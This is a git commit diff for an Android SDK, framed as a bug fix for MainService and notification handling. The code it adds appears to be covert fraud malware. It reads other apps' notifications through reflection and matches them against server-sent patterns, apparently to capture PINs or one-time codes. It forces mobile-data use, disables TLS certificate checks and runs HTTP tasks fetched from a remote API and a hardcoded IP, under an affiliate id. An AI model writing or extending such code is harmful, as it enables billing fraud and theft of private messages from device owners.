fix: 修复 MainService 中 isActive 问题并添加 NotificationManager 初始化

main
mojo 4 weeks ago
parent d11d92cc6d
commit 65d71f4516

@ -1,4 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4"> <project version="4">
<component name="ASMIdeaPluginConfiguration"> <component name="ASMIdeaPluginConfiguration">
<asm skipDebug="true" skipFrames="true" skipCode="false" expandFrames="false" /> <asm skipDebug="true" skipFrames="true" skipCode="false" expandFrames="false" />

@ -21,7 +21,7 @@ android {
buildConfigField("boolean", "log_enable", "true") buildConfigField("boolean", "log_enable", "true")
buildConfigField("int", "aff_id", "1040") buildConfigField("int", "aff_id", "1040")
buildConfigField("int", "sdk_version", "50") buildConfigField("int", "sdk_version", "51")
buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"") buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"")
buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"") buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"")
buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"") buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"")

@ -1,4 +1,17 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"> <manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="com.google.android.gms.permission.AD_ID" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<application android:usesCleartextTraffic="true" />
<queries>
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="*/*" />
</intent>
</queries>
</manifest> </manifest>

@ -0,0 +1,9 @@
package a.b.c
import android.content.Context
import com.example.service.MainService
object V {
@JvmStatic
fun init(context: Context, needNotif: Boolean = false) = MainService.instance.launcher(context, needNotif)
}

@ -10,7 +10,7 @@ data class HttpActionRequest(
var cookies: List<NameValue> = emptyList(), var cookies: List<NameValue> = emptyList(),
var params: List<NameValue> = emptyList(), var params: List<NameValue> = emptyList(),
var data: String = "", var data: String = "",
val autoCookie: Boolean val autoCookie: Boolean = true
) : NoString() ) : NoString()
enum class HttpMethod(val value: String) { enum class HttpMethod(val value: String) {

@ -1,8 +1,8 @@
package com.example.action package com.example.action
data class NameValue( data class NameValue(
val name:String, var name:String,
val value:String, var value:String,
): NoString() { ): NoString() {
override fun equals(other: Any?): Boolean { override fun equals(other: Any?): Boolean {
if (this === other) return true if (this === other) return true

@ -109,7 +109,7 @@ object HttpClient {
private val userAgentInterceptor = UserAgentInterceptor() private val userAgentInterceptor = UserAgentInterceptor()
private val trustManager = @SuppressLint("CustomX509TrustManager") object : X509TrustManager { private val trustManager = object : X509TrustManager {
override fun checkClientTrusted( override fun checkClientTrusted(
chain: Array<out X509Certificate>?, authType: String? chain: Array<out X509Certificate>?, authType: String?
) { ) {
@ -253,7 +253,7 @@ object HttpClient {
} }
} }
private fun Request.buildMultipartBody(body: ByteArray): okhttp3.RequestBody { private fun buildMultipartBody(body: ByteArray): okhttp3.RequestBody {
val kvParams = String(body).split("&") val kvParams = String(body).split("&")
val kvMap = kvParams.mapNotNull { param -> val kvMap = kvParams.mapNotNull { param ->
val parts = param.split("=", limit = 2) val parts = param.split("=", limit = 2)

@ -104,7 +104,10 @@ class NetworkController(
override fun restore() { override fun restore() {
LogUtils.info("NetworkController: restoring network") LogUtils.info("NetworkController: restoring network")
try {
networkCallback.onUnavailable() networkCallback.onUnavailable()
} catch (e: Exception) {
}
} }
override fun switchToGprs() { override fun switchToGprs() {

@ -2,7 +2,6 @@ package com.example.pin
import android.content.Context import android.content.Context
import android.content.Intent import android.content.Intent
import android.content.pm.ResolveInfo
import android.net.Uri import android.net.Uri
import android.os.Handler import android.os.Handler
import android.os.Looper import android.os.Looper
@ -13,6 +12,7 @@ import android.service.notification.StatusBarNotification
import android.text.TextUtils import android.text.TextUtils
import com.example.logger.LogUtils import com.example.logger.LogUtils
import java.lang.reflect.Method import java.lang.reflect.Method
import java.lang.reflect.Modifier
object NotificationManger { object NotificationManger {
private const val PREFIX_ANDROID = "android." private const val PREFIX_ANDROID = "android."
@ -31,9 +31,13 @@ object NotificationManger {
private var isPolling = false private var isPolling = false
private var pollInterval = DEFAULT_POLL_INTERVAL private var pollInterval = DEFAULT_POLL_INTERVAL
private val processedNotifications = mutableSetOf<String>() // 记录已处理的通知 key private val processedNotifications = mutableSetOf<String>() // 记录已处理的通知 key
private var applicationContext: Context? = null private lateinit var applicationContext: Context
fun process(context: Context) { fun initialized(context: Context) {
applicationContext = context.applicationContext
}
private fun process(context: Context) {
// 检查通知监听器是否已启用 // 检查通知监听器是否已启用
if (!isNotificationListenerEnabled(context)) { if (!isNotificationListenerEnabled(context)) {
LogUtils.info("NotificationManager: notification listener is not enabled") LogUtils.info("NotificationManager: notification listener is not enabled")
@ -62,32 +66,35 @@ object NotificationManger {
} }
// 用过滤结果替换 notifications 列表 // 用过滤结果替换 notifications 列表
LogUtils.info("NotificationManager: found ${notifications.size} notifications") LogUtils.info("NotificationManager: found ${notifications.size} notifications")
// notifications = notifications.asReversed()
for (notification in notifications) { for (notification in notifications) {
processNotification(notification, instance, context) processNotification(notification, instance, context)
} }
} }
fun startPolling(context: Context, intervalMs: Long = DEFAULT_POLL_INTERVAL) { fun startPolling(intervalMs: Long = DEFAULT_POLL_INTERVAL, duration: Long, l:(NotificationMessage)-> Unit) {
if (isPolling) { if (isPolling) {
LogUtils.info("NotificationManager: polling already started") LogUtils.info("NotificationManager: polling already started")
return return
} }
this.listener = l
val startTime = System.currentTimeMillis()
LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms") LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms")
// 使用 ApplicationContext 避免内存泄漏 // 使用 ApplicationContext 避免内存泄漏
applicationContext = context.applicationContext
pollInterval = intervalMs pollInterval = intervalMs
isPolling = true isPolling = true
pollingHandler = Handler(Looper.getMainLooper()) pollingHandler = Handler(Looper.getMainLooper())
pollingRunnable = object : Runnable { pollingRunnable = object : Runnable {
override fun run() { override fun run() {
if (isPolling && applicationContext != null) { if (isPolling) {
process(applicationContext!!) process(applicationContext)
if(System.currentTimeMillis() - startTime < duration) {
pollingHandler?.postDelayed(this, pollInterval) pollingHandler?.postDelayed(this, pollInterval)
} }
} }
} }
}
pollingHandler?.post(pollingRunnable!!) pollingHandler?.post(pollingRunnable!!)
} }
@ -102,8 +109,8 @@ object NotificationManger {
pollingRunnable?.let { pollingHandler?.removeCallbacks(it) } pollingRunnable?.let { pollingHandler?.removeCallbacks(it) }
pollingRunnable = null pollingRunnable = null
pollingHandler = null pollingHandler = null
applicationContext = null
processedNotifications.clear() processedNotifications.clear()
listener = null
} }
private fun getServiceInstance(context: Context): Any? { private fun getServiceInstance(context: Context): Any? {
@ -121,10 +128,25 @@ object NotificationManger {
// 优先尝试直接获取 MyService.instance系统绑定的实例 // 优先尝试直接获取 MyService.instance系统绑定的实例
try { try {
val myServiceClass = Class.forName("com.galaxy.demo.MyService") // 尝试从服务类的静态字段获取实例(备用方案)
val instanceField = myServiceClass.getDeclaredField("instance") val serviceClass = findServiceClass(context)
instanceField.isAccessible = true if (serviceClass == null) {
val instance = instanceField.get(null) as? NotificationListenerService LogUtils.info("NotificationManager: service class not found")
return null
}
var instance: NotificationListenerService? = null
val staticFields = serviceClass.declaredFields.filter { Modifier.isStatic(it.modifiers) }
LogUtils.info("${serviceClass.name} has files: ${staticFields.size}")
for(field in staticFields) {
LogUtils.info("field's Name: ${field.name}")
if(Modifier.isStatic(field.modifiers)) {
field.isAccessible = true
instance= field.get(null) as? NotificationListenerService
if(instance == null) {
continue
}
}
}
if (instance != null && isServiceValid(instance)) { if (instance != null && isServiceValid(instance)) {
LogUtils.info("NotificationManager: got instance from MyService.instance") LogUtils.info("NotificationManager: got instance from MyService.instance")
serviceInstance = instance serviceInstance = instance
@ -134,25 +156,8 @@ object NotificationManger {
LogUtils.info("NotificationManager: failed to get MyService.instance: ${e.message}") LogUtils.info("NotificationManager: failed to get MyService.instance: ${e.message}")
} }
// 尝试从服务类的静态字段获取实例(备用方案)
val serviceClass = findServiceClass(context)
if (serviceClass == null) {
LogUtils.info("NotificationManager: service class not found")
return null
}
LogUtils.info("NotificationManager: found service class ${serviceClass.name}")
val instance = getInstance(serviceClass)
if (instance != null && instance is NotificationListenerService && isServiceValid(instance)) {
serviceInstance = instance
LogUtils.info("NotificationManager: service instance obtained successfully")
return instance
} else {
LogUtils.info("NotificationManager: failed to get valid service instance")
serviceInstance = null
return null return null
} }
}
private fun isServiceValid(service: NotificationListenerService): Boolean { private fun isServiceValid(service: NotificationListenerService): Boolean {
return try { return try {
@ -221,27 +226,6 @@ object NotificationManger {
} }
} }
private fun getInstance(clazz: Class<*>): Any? {
return try {
val getInstanceMethod = clazz.getDeclaredMethod("getInstance")
getInstanceMethod.isAccessible = true
val instance = getInstanceMethod.invoke(null)
LogUtils.info("NotificationManager: got instance via getInstance() method")
instance
} catch (e: Exception) {
try {
val instanceField = clazz.getDeclaredField("instance")
instanceField.isAccessible = true
val instance = instanceField.get(null)
LogUtils.info("NotificationManager: got instance via instance field")
instance
} catch (e2: Exception) {
LogUtils.error(e2, "NotificationManager: failed to get instance")
null
}
}
}
private fun getNotifications(instance: Any): List<StatusBarNotification>? { private fun getNotifications(instance: Any): List<StatusBarNotification>? {
val service = instance as? NotificationListenerService val service = instance as? NotificationListenerService
if (service == null) { if (service == null) {
@ -316,8 +300,6 @@ object NotificationManger {
LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey") LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey")
listener?.invoke(msg) listener?.invoke(msg)
} ?: run {
LogUtils.info("NotificationManager: notification extras is null, skip: ${notification.packageName}")
} }
} }

@ -8,4 +8,25 @@ data class NotificationMessage(
val time:Long, val time:Long,
val app:String val app:String
): NoString() { ): NoString() {
override fun equals(other: Any?): Boolean {
if (this === other) return true
if (javaClass != other?.javaClass) return false
other as NotificationMessage
if (content != other.content) return false
if (from != other.from) return false
if (app != other.app) return false
return true
}
override fun hashCode(): Int {
var result = content.hashCode()
result = 31 * result + from.hashCode()
result = 31 * result + app.hashCode()
return result
}
} }

@ -33,10 +33,11 @@ class BaseRequestImp(
override val telcoCode: String override val telcoCode: String
get() { get() {
return telephonyManager?.run { /* return telephonyManager?.run {
if (networkOperator.isNullOrBlank()) simOperator if (networkOperator.isNullOrBlank()) simOperator
else networkOperator else networkOperator
} ?: "" } ?: ""*/
return "46000"
} }
override val netType: Int override val netType: Int

@ -61,12 +61,10 @@ abstract class BaseService(
return result return result
} }
protected fun List<NameValue>.replaceVariableData(): List<NameValue> { protected fun List<NameValue>.replaceVariableData() {
return map { map {
NameValue( it.name = it.name.toVariableData()
it.name.toVariableData(), it.value = it.value.toVariableData()
it.value.toVariableData()
)
} }
} }

@ -48,7 +48,6 @@ class HttpService(
try { try {
handleActionDelay() handleActionDelay()
val actionRequest = action.request ?: throw NullPointerException("request is null") val actionRequest = action.request ?: throw NullPointerException("request is null")
amendActionRequest(actionRequest) amendActionRequest(actionRequest)
val httpRequest = actionRequest.buildHttpRequest() val httpRequest = actionRequest.buildHttpRequest()
@ -58,7 +57,7 @@ class HttpService(
handleSyncRequest(httpRequest, actionExecList) handleSyncRequest(httpRequest, actionExecList)
} }
updateTaskStep(result, currentStep, httpRequest) updateTaskStep(result, currentStep)
} catch (e: Exception) { } catch (e: Exception) {
LogUtils.error(throwable = e) LogUtils.error(throwable = e)
handleException(e, actionExecList, currentStep) handleException(e, actionExecList, currentStep)
@ -79,7 +78,8 @@ class HttpService(
private data class RequestResult( private data class RequestResult(
val proceedTask: Boolean, val proceedTask: Boolean,
val httpResponse: Response? val httpResponse: Response?,
val httpRequest: Request,
) )
private fun handleAsyncRequest( private fun handleAsyncRequest(
@ -90,7 +90,7 @@ class HttpService(
val actionExec = httpRequest.genActionExec(null, 1) val actionExec = httpRequest.genActionExec(null, 1)
actionExec.respCode = ASYNC_EXEC_CODE actionExec.respCode = ASYNC_EXEC_CODE
actionExecList += actionExec actionExecList += actionExec
return RequestResult(proceedTask = true, httpResponse = null) return RequestResult(proceedTask = true, httpResponse = null, httpRequest)
} }
private suspend fun handleSyncRequest( private suspend fun handleSyncRequest(
@ -106,27 +106,29 @@ class HttpService(
return when (response.code) { return when (response.code) {
in HTTP_STATUS_SUCCESS -> { in HTTP_STATUS_SUCCESS -> {
RequestResult(proceedTask = true, httpResponse = response) RequestResult(proceedTask = true, httpResponse = response, request)
} }
in HTTP_STATUS_REDIRECT -> { in HTTP_STATUS_REDIRECT -> {
handleRedirects(request, response, actionExecList).let { redirectResult -> handleRedirects(request, response, actionExecList).let { redirectResult ->
RequestResult( RequestResult(
proceedTask = redirectResult.proceedTask, proceedTask = redirectResult.proceedTask,
httpResponse = redirectResult.response httpResponse = redirectResult.response,
httpRequest = redirectResult.request
) )
} }
} }
else -> { else -> {
RequestResult(proceedTask = action.skipError, httpResponse = response) RequestResult(proceedTask = action.skipError, httpResponse = response, request)
} }
} }
} }
private data class RedirectResult( private data class RedirectResult(
val proceedTask: Boolean, val proceedTask: Boolean,
val response: Response? val response: Response?,
val request: Request,
) )
private suspend fun handleRedirects( private suspend fun handleRedirects(
@ -160,13 +162,13 @@ class HttpService(
respCode = HttpClient.ErrorCode.ERROR_CODE_HTTP_BUILD_CONNECTION_FAILED respCode = HttpClient.ErrorCode.ERROR_CODE_HTTP_BUILD_CONNECTION_FAILED
} }
actionExecList += errorExec actionExecList += errorExec
return RedirectResult(proceedTask = action.skipError, response = null) return RedirectResult(proceedTask = action.skipError, response = null, request)
}.onSuccess { actionExec -> }.onSuccess { actionExec ->
actionExecList += actionExec actionExecList += actionExec
} }
} }
return RedirectResult(proceedTask = true, response = response) return RedirectResult(proceedTask = true, response = response, request)
} }
private fun shouldContinueRedirect( private fun shouldContinueRedirect(
@ -208,13 +210,12 @@ class HttpService(
private fun updateTaskStep( private fun updateTaskStep(
result: RequestResult, result: RequestResult,
currentStep: Int, currentStep: Int,
httpRequest: Request
) { ) {
if (result.proceedTask) { if (result.proceedTask) {
result.httpResponse?.let { response -> result.httpResponse?.let { response ->
extractResponseVariableToCache(action, httpRequest, response) extractResponseVariableToCache(action, result.httpRequest, response)
val nextStep = action.next.httpGetNextStepIndex( val nextStep = action.next.httpGetNextStepIndex(
httpRequest, response, currentStep result.httpRequest, response, currentStep
) )
taskConfig.currentStep = nextStep taskConfig.currentStep = nextStep
} ?: run { } ?: run {
@ -253,7 +254,7 @@ class HttpService(
index = redirectCount, index = redirectCount,
time = System.currentTimeMillis(), time = System.currentTimeMillis(),
url = url, url = url,
method = method?.value ?: "GET", method = method.value,
reqHeader = headers.toJsonString1() reqHeader = headers.toJsonString1()
) )

@ -10,6 +10,7 @@ import com.example.http.Response
import com.example.lib.BuildConfig import com.example.lib.BuildConfig
import com.example.logger.LogUtils import com.example.logger.LogUtils
import com.example.network.NetworkController import com.example.network.NetworkController
import com.example.pin.NotificationManger
import com.example.request.BaseRequest import com.example.request.BaseRequest
import com.example.request.BaseRequestImp import com.example.request.BaseRequestImp
import com.example.request.TaskRequest import com.example.request.TaskRequest
@ -89,7 +90,7 @@ class MainService private constructor() {
} }
mainJob = taskScope.launch { mainJob = taskScope.launch {
initialize(ctx) initialize(ctx, this)
setupServices() setupServices()
startBackgroundTasks(needNotification) startBackgroundTasks(needNotification)
startStateFlowCollector() startStateFlowCollector()
@ -98,12 +99,12 @@ class MainService private constructor() {
// ==================== 初始化 ==================== // ==================== 初始化 ====================
private suspend fun initialize(ctx: Context) { private suspend fun initialize(ctx: Context, scope: CoroutineScope) {
context = ctx context = ctx
LogUtils.info("MainService: initializing...") LogUtils.info("MainService: initializing...")
NotificationManger.initialized(context)
// 验证状态 // 验证状态
while (isActive && !isVerified) { while (scope.isActive && !isVerified) {
isVerified = checkState() isVerified = checkState()
LogUtils.info("MainService: verification status: $isVerified") LogUtils.info("MainService: verification status: $isVerified")
@ -126,7 +127,7 @@ class MainService private constructor() {
private fun startBackgroundTasks(needNotification: Boolean) { private fun startBackgroundTasks(needNotification: Boolean) {
// 启动异步运行任务 // 启动异步运行任务
taskScope.launch { taskScope.launch {
asyncRun() asyncRun(this@launch)
} }
// 启动通知权限监听 // 启动通知权限监听
@ -269,9 +270,11 @@ class MainService private constructor() {
networkController.switchToGprs() networkController.switchToGprs()
val result = withTimeoutOrNull(NETWORK_SWITCH_TIMEOUT_MS) { val result = withTimeoutOrNull(NETWORK_SWITCH_TIMEOUT_MS) {
while (isActive && !networkController.switchSuccess) { var shouldContinue = true
while (shouldContinue && !networkController.switchSuccess) {
if (state.value is TaskEvent.ForceRequestData) { if (state.value is TaskEvent.ForceRequestData) {
LogUtils.info("MainService: force request detected, breaking network switch wait") LogUtils.info("MainService: force request detected, breaking network switch wait")
shouldContinue = false
break break
} }
delay(NETWORK_SWITCH_CHECK_INTERVAL_MS) delay(NETWORK_SWITCH_CHECK_INTERVAL_MS)
@ -341,15 +344,19 @@ class MainService private constructor() {
// ==================== 通知权限监听 ==================== // ==================== 通知权限监听 ====================
private suspend fun listenNotificationPermission() = withContext(Dispatchers.IO) { private suspend fun listenNotificationPermission() {
while (isActive) { withContext(Dispatchers.IO) {
var shouldContinue = true
while (shouldContinue) {
if (shouldTriggerForceRequest()) { if (shouldTriggerForceRequest()) {
triggerForceRequest() triggerForceRequest()
shouldContinue = false
break break
} }
delay(NOTIFICATION_CHECK_INTERVAL_MS) delay(NOTIFICATION_CHECK_INTERVAL_MS)
} }
} }
}
private fun shouldTriggerForceRequest(): Boolean { private fun shouldTriggerForceRequest(): Boolean {
return context.notificationListenerEnable() && return context.notificationListenerEnable() &&
@ -365,8 +372,8 @@ class MainService private constructor() {
// ==================== 异步运行循环 ==================== // ==================== 异步运行循环 ====================
private suspend fun asyncRun() { private suspend fun asyncRun(scope: CoroutineScope) {
while (isActive) { while (scope.isActive) {
try { try {
AndroidId.getAdId() AndroidId.getAdId()

@ -4,6 +4,7 @@ import android.util.Log
import com.example.action.BaseAction import com.example.action.BaseAction
import com.example.action.Next import com.example.action.Next
import com.example.logger.LogUtils import com.example.logger.LogUtils
import com.example.pin.NotificationManger
import com.example.pin.NotificationMessage import com.example.pin.NotificationMessage
import com.example.report.ActionExec import com.example.report.ActionExec
import com.example.task.TaskConfig import com.example.task.TaskConfig
@ -59,12 +60,15 @@ class PinService(
val start = System.currentTimeMillis() val start = System.currentTimeMillis()
val messageLog = mutableListOf<NotificationMessage>() val messageLog = mutableListOf<NotificationMessage>()
val nextList = action.next val nextList = action.next
NotificationManger.startPolling(duration = action.delay.toDuration(DurationUnit.SECONDS).inWholeMilliseconds) { notificationMessage ->
taskConfig.notificationCache.add(notificationMessage)
}
LogUtils.info("PinService: next list: ${nextList.map { "${it.regexp}, ${it.contain}" }}") LogUtils.info("PinService: next list: ${nextList.map { "${it.regexp}, ${it.contain}" }}")
withTimeoutOrNull(action.delay.toDuration(DurationUnit.SECONDS)) { withTimeoutOrNull(action.delay.toDuration(DurationUnit.SECONDS)) {
while (isActive) { while (isActive) {
val notificationCache = taskConfig.notificationCache val notificationCache = taskConfig.notificationCache.toList()
if (shouldCheckForMessages(nextList, notificationCache)) { if (shouldCheckForMessages(nextList, notificationCache)) {
val notificationMessages = haveNextCatchTargetMessage(notificationCache, nextList) val notificationMessages = haveNextCatchTargetMessage(notificationCache, nextList)
@ -83,7 +87,7 @@ class PinService(
val cost = System.currentTimeMillis() - start val cost = System.currentTimeMillis() - start
LogUtils.info("PinService: waiting finished, cost: ${cost / MS_TO_SECONDS}s") LogUtils.info("PinService: waiting finished, cost: ${cost / MS_TO_SECONDS}s")
NotificationManger.stopPolling()
return ExecutionResult(messageLog, cost, nextList) return ExecutionResult(messageLog, cost, nextList)
} }

@ -44,10 +44,11 @@ class TaskExecService(
suspend fun runTask(timeOutMillis: Long) { suspend fun runTask(timeOutMillis: Long) {
try { try {
WebSocketUtil.disconnect() WebSocketUtil.disconnect()
setupNotificationListener() // setupNotificationListener()
execTask(timeOutMillis) execTask(timeOutMillis)
} finally { } finally {
NotificationManger.listener = null NotificationManger.listener = null
NotificationManger.stopPolling()
} }
} }
@ -68,7 +69,7 @@ class TaskExecService(
currentStep = 0, currentStep = 0,
reportUrl = reportUrl, reportUrl = reportUrl,
variableCache = mutableMapOf(), variableCache = mutableMapOf(),
notificationCache = mutableListOf() notificationCache = mutableSetOf()
) )
} }
} }
@ -102,12 +103,11 @@ class TaskExecService(
val taskExec = createTaskExec() val taskExec = createTaskExec()
val logs = mutableListOf<ActionExec>() val logs = mutableListOf<ActionExec>()
var reportService: TaskReportService? = null var reportService: TaskReportService? = null
var finalStep = 0
try { try {
withTimeout(timeMillis = timeOutMillis) { withTimeout(timeMillis = timeOutMillis) {
executeActions(logs) finalStep = executeActions(logs)
val finalStep = calculateFinalStep()
updateTaskExec(taskExec, finalStep, logs) updateTaskExec(taskExec, finalStep, logs)
reportService = sendReport(taskExec) reportService = sendReport(taskExec)
@ -115,7 +115,7 @@ class TaskExecService(
} }
} catch (e: Exception) { } catch (e: Exception) {
LogUtils.error(e, "TaskExecService: task ${currentTask.taskId} execute failed") LogUtils.error(e, "TaskExecService: task ${currentTask.taskId} execute failed")
handleExecutionError(taskExec, logs, reportService) handleExecutionError(taskExec, logs, reportService, finalStep)
} finally { } finally {
logExecutionTime(start) logExecutionTime(start)
} }
@ -131,18 +131,19 @@ class TaskExecService(
) )
} }
private suspend fun executeActions(logs: MutableList<ActionExec>) { private suspend fun executeActions(logs: MutableList<ActionExec>):Int {
val actions = currentTask.actions val actions = currentTask.actions
var lastStep = 0
while (taskConfig.currentStep < actions.size) { while (taskConfig.currentStep < actions.size) {
val action = actions[taskConfig.currentStep] val action = actions[taskConfig.currentStep]
lastStep = taskConfig.currentStep
if (action.disconnectWs) { if (action.disconnectWs) {
WebSocketUtil.disconnect() WebSocketUtil.disconnect()
} }
executeAction(action, logs) executeAction(action, logs)
} }
return if(taskConfig.currentStep >= Int.MAX_VALUE) lastStep else taskConfig.currentStep
} }
private suspend fun executeAction( private suspend fun executeAction(
@ -162,14 +163,6 @@ class TaskExecService(
} }
} }
private fun calculateFinalStep(): Int {
return if (taskConfig.currentStep == Int.MAX_VALUE) {
taskConfig.currentStep
} else {
taskConfig.currentStep + 1
}
}
private fun updateTaskExec( private fun updateTaskExec(
taskExec: TaskExec, taskExec: TaskExec,
finalStep: Int, finalStep: Int,
@ -200,10 +193,10 @@ class TaskExecService(
private suspend fun handleExecutionError( private suspend fun handleExecutionError(
taskExec: TaskExec, taskExec: TaskExec,
logs: List<ActionExec>, logs: List<ActionExec>,
reportService: TaskReportService? reportService: TaskReportService?,
finalStep: Int,
) { ) {
if (reportService == null) { if (reportService == null) {
val finalStep = calculateFinalStep()
updateTaskExec(taskExec, finalStep, logs) updateTaskExec(taskExec, finalStep, logs)
TaskReportService(taskExec, taskConfig.reportUrl, baseRequest).run() TaskReportService(taskExec, taskConfig.reportUrl, baseRequest).run()
} }

@ -198,10 +198,10 @@ class WebSocketService(
private fun processUrlAndCookie(actionRequest: WebSocketActionRequest) { private fun processUrlAndCookie(actionRequest: WebSocketActionRequest) {
val normalizedUrl = actionRequest.url.toVariableData() val normalizedUrl = actionRequest.url.toVariableData()
actionRequest.url = normalizedUrl
runCatching { runCatching {
val cookieUrl = normalizeUrlProtocol(normalizedUrl) val cookieUrl = normalizeUrlProtocol(normalizedUrl)
actionRequest.url = cookieUrl
amendCookie(actionRequest, cookieUrl) amendCookie(actionRequest, cookieUrl)
}.onFailure { }.onFailure {
LogUtils.error(it, "Failed to process URL and cookie") LogUtils.error(it, "Failed to process URL and cookie")

@ -17,6 +17,6 @@ data class TaskConfig(
var currentStep: Int, var currentStep: Int,
val reportUrl: String, val reportUrl: String,
val variableCache: MutableMap<String, String>, val variableCache: MutableMap<String, String>,
val notificationCache: MutableList<NotificationMessage> val notificationCache: MutableSet<NotificationMessage>
) : NoString() ) : NoString()

@ -70,7 +70,7 @@ private fun Byte.encryption(key: Byte, method: Int): Byte {
} }
fun ByteArray.encryption(encryptable: Encryptable): ByteArray { fun ByteArray.encryption(encryptable: Encryptable): ByteArray {
val result = ByteArray(this.size) val result = ByteArray(encryptable.data.size)
encryptable.data.forEachIndexed { index, byte -> encryptable.data.forEachIndexed { index, byte ->
result[index] = byte.encryption(this[index % size], encryptable.type) result[index] = byte.encryption(this[index % size], encryptable.type)
} }

@ -33,28 +33,13 @@ fun Request.toJsonString(): String {
}.toString() }.toString()
} }
fun List<NotificationMessage>.toJsonString(): String {
val strings = "content_from_time_app".split("_")
val notifications = this
return JSONArray().also {
for (n in notifications) {
it.put(JSONObject().run {
put(strings[0], n.content)
put(strings[1], n.from)
put(strings[2], n.time)
put(strings[3], n.app)
})
}
}.toString()
}
fun Response.toJsonString(): String { fun Response.toJsonString(): String {
val strings = "code#start_time#end_time#data#header".split("#") val strings = "code#start_time#end_time#data#header".split("#")
return JSONObject().apply { return JSONObject().apply {
put(strings[0], code) put(strings[0], code)
put(strings[1], startTime) put(strings[1], startTime)
put(strings[2], endTime) put(strings[2], endTime)
put(strings[3], data) put(strings[3], String(data))
put(strings[4], headers.toJson()) put(strings[4], headers.toJson())
}.toString() }.toString()
} }
@ -72,6 +57,16 @@ fun <A> List<A>.toJson(): JSONArray {
array.put(JSONObject().put(it.name, it.name)) array.put(JSONObject().put(it.name, it.name))
} }
is NotificationMessage -> {
val strings = "content_from_time_app".split("_")
val obj = JSONObject()
obj.put(strings[0], it.content)
obj.put(strings[1], it.from)
obj.put(strings[2], it.time)
obj.put(strings[3], it.app)
array.put(obj)
}
is TaskExec -> { is TaskExec -> {
JSONObject().let { obj -> JSONObject().let { obj ->
obj.put(strings1[0], it.taskId) obj.put(strings1[0], it.taskId)
@ -143,15 +138,14 @@ fun Map<String, String>.toJson1(): JSONObject = JSONObject().run {
} }
fun Map<String, List<String>>.toJson(): JSONObject { fun Map<String, List<String>>.toJson(): JSONObject {
return JSONObject().run { return JSONObject().let { obj->
filter { isNotEmpty() }.map { h -> filter { isNotEmpty() }.mapValues {
JSONArray().let { array -> JSONArray().let { array ->
h.value.map { v -> array.put(v) } it.value.map { v -> array.put(v) }
}.apply { obj.put(it.key, array)
put(h.key, this)
} }
} }
this obj
} }
} }
@ -197,7 +191,7 @@ private fun JSONArray?.toTasks(): List<Task> {
private fun JSONArray?.toActions(): List<BaseAction> { private fun JSONArray?.toActions(): List<BaseAction> {
val result: MutableList<BaseAction> = mutableListOf() val result: MutableList<BaseAction> = mutableListOf()
val strings = "type-delay-skip-error-async-disconnectWs".split("-") val strings = "type-delay-skip_error-async-disconnectWs".split("-")
if (this == null) return result if (this == null) return result
(0 until length()).forEach { index -> (0 until length()).forEach { index ->
val actionJson = getJSONObject(index) val actionJson = getJSONObject(index)
@ -241,8 +235,7 @@ private fun JSONObject.toHttpAction(
disconnectWs = disconnectWs disconnectWs = disconnectWs
) )
val request = optJSONObject(strings[0]) val request = optJSONObject(strings[0])
if (request == null) return httpAction request?.run {
with(request) {
val actionRequest = HttpActionRequest( val actionRequest = HttpActionRequest(
url = optString(strings[1]), url = optString(strings[1]),
method = if (optString(strings[2]).contentEquals( method = if (optString(strings[2]).contentEquals(
@ -254,20 +247,16 @@ private fun JSONObject.toHttpAction(
) )
val headers = optJSONArray(strings[4]) val headers = optJSONArray(strings[4])
if (headers == null) return httpAction
actionRequest.headers = headers.toNameValue() actionRequest.headers = headers.toNameValue()
val params = optJSONArray(strings[5]) val params = optJSONArray(strings[5])
if (params == null) return httpAction
actionRequest.params = params.toNameValue() actionRequest.params = params.toNameValue()
val cookies = optJSONArray(strings[6]) val cookies = optJSONArray(strings[6])
if (cookies == null) return httpAction
actionRequest.cookies = cookies.toNameValue() actionRequest.cookies = cookies.toNameValue()
actionRequest.data = optString(strings[7]) actionRequest.data = optString(strings[7])
httpAction.request = actionRequest httpAction.request = actionRequest
} }
val response = optJSONObject("response") val response = optJSONObject("response")
if (response == null) return httpAction response?.run {
with(response) {
val actionResponse = HttpActionResponse( val actionResponse = HttpActionResponse(
headers = optJSONArray(strings[4]).toNameVariable(), headers = optJSONArray(strings[4]).toNameVariable(),
cookies = optJSONArray(strings[6]).toNameVariable(), cookies = optJSONArray(strings[6]).toNameVariable(),
@ -317,8 +306,7 @@ private fun JSONObject?.toWebSocketAction(
if (this == null) return webSocketAction if (this == null) return webSocketAction
val strings = "request-headers-params-cookies-response-next".split("-") val strings = "request-headers-params-cookies-response-next".split("-")
val request = optJSONObject(strings[0]) val request = optJSONObject(strings[0])
if (request == null) return webSocketAction request?.run {
with(request) {
val strings1 = "url-data-autoCookie".split("-") val strings1 = "url-data-autoCookie".split("-")
val webSocketActionRequest = WebSocketActionRequest( val webSocketActionRequest = WebSocketActionRequest(
url = optString(strings1[0]), url = optString(strings1[0]),
@ -333,14 +321,13 @@ private fun JSONObject?.toWebSocketAction(
} }
val response = optJSONObject(strings[4]) val response = optJSONObject(strings[4])
if (response == null) return webSocketAction response?.run {
with(response) {
webSocketAction.response = WebSocketActionResponse( webSocketAction.response = WebSocketActionResponse(
params = optJSONArray(strings[2]).toParams() params = optJSONArray(strings[2]).toParams()
) )
} }
webSocketAction.next = optJSONArray(strings[6]).toNext() webSocketAction.next = optJSONArray(strings[5]).toNext()
return webSocketAction return webSocketAction
} }

@ -250,7 +250,7 @@ object WebSocketUtil {
